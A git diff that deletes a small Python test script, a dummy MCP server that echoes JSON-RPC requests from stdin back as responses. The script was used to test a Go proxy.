diff --git a/implementations/go-proxy/test/echo_server.py b/implementations/go-proxy/test/echo_server.py
deleted file mode 100755
index 511f562..0000000
--- a/implementations/go-proxy/test/echo_server.py
+++ /dev/null
@@ -1,45 +0,0 @@
-#!/usr/bin/env python3
-"""
-Dummy MCP server that echoes back JSON-RPC requests.
-
-This simulates a real MCP server for testing the AIP proxy.
-It reads JSON lines from stdin and echoes them back to stdout
-wrapped in a JSON-RPC response.
-"""
-import sys
-import json
-
-def main():
- # Flush stdout immediately for real-time output
- sys.stdout.reconfigure(line_buffering=True)
-
- for line in sys.stdin:
- line = line.strip()
- if not line:
- continue
-
- try:
- request = json.loads(line)
- # Echo back as a JSON-RPC response
- response = {
- "jsonrpc": "2.0",
- "id": request.get("id"),
- "result": {
- "echo": request,
- "message": "Request received by echo_server"
- }
- }
- print(json.dumps(response), flush=True)
- except json.JSONDecodeError as e:
- error_response = {
- "jsonrpc": "2.0",
- "id": None,
- "error": {
- "code": -32700,
- "message": f"Parse error: {e}"
- }
- }
- print(json.dumps(error_response), flush=True)
-
-if __name__ == "__main__":
- main()